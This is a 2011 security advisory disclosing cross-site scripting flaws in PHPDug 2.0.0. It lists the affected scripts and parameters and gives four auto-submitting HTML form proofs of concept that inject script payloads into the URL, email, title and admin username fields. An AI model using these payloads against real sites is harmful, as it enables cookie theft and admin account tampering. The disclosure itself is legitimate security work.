Vulnerability ID: HTB22970 Reference: http://www.htbridge.ch/advisory/multiple_xss_vulnerabilities_in_phpdug.html Product: PHPDug Vendor: Kubelabs.com ( http://www.kubelabs.com/ ) Vulnerable Version: 2.0.0 and probably prior versions Vendor Notification: 21 April 2011 Vulnerability Type: XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "add_story.php", "editprofile.php", "adm/content_add.php", "adm/admin_edit.php" scripts to properly sanitize user-supplied input in "story_url", "email", "title", "username" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: 1. <form action="http://host/add_story.php"; method="post" name="main"> <input type="hidden" name="story_url" value='http://www.example.com/";><script>alert(document.cookie)</script>'> <input type="hidden" name="Submit" value="Continue"> </form> <script> document.main.submit(); </script> 2. <form action="http://host/editprofile.php"; method="post" name="main"> <input type="hidden" name="email" value='email@xxxxxxxxxxx"><script>alert(document.cookie)</script>'> <input type="hidden" name="commentst" value="-4"> <input type="hidden" name="Submit" value="Save Changes"> </form> <script> document.main.submit(); </script> 3. <form action="http://host/adm/content_add.php"; method="post" name="main"> <input type="hidden" name="id" value="999"> <input type="hidden" name="title" value='page"><script>alert(document.cookie)</script>'> <input type="hidden" name="contentvalue="content"> <input type="hidden" name="Submit" value="Submit"> </form> <script> document.main.submit(); </script> 4. <form action="http://host/adm/admin_edit.php"; method="post" name="main"> <input type="hidden" name="id[1]" value="1"> <input type="hidden" name="username[1]" value='admin<script>alert("XSS")</script>'> <input type="hidden" name="password[1]" value=""> <input type="hidden" name="Submit" value="Submit"> </form> <script> document.main.submit(); </script>
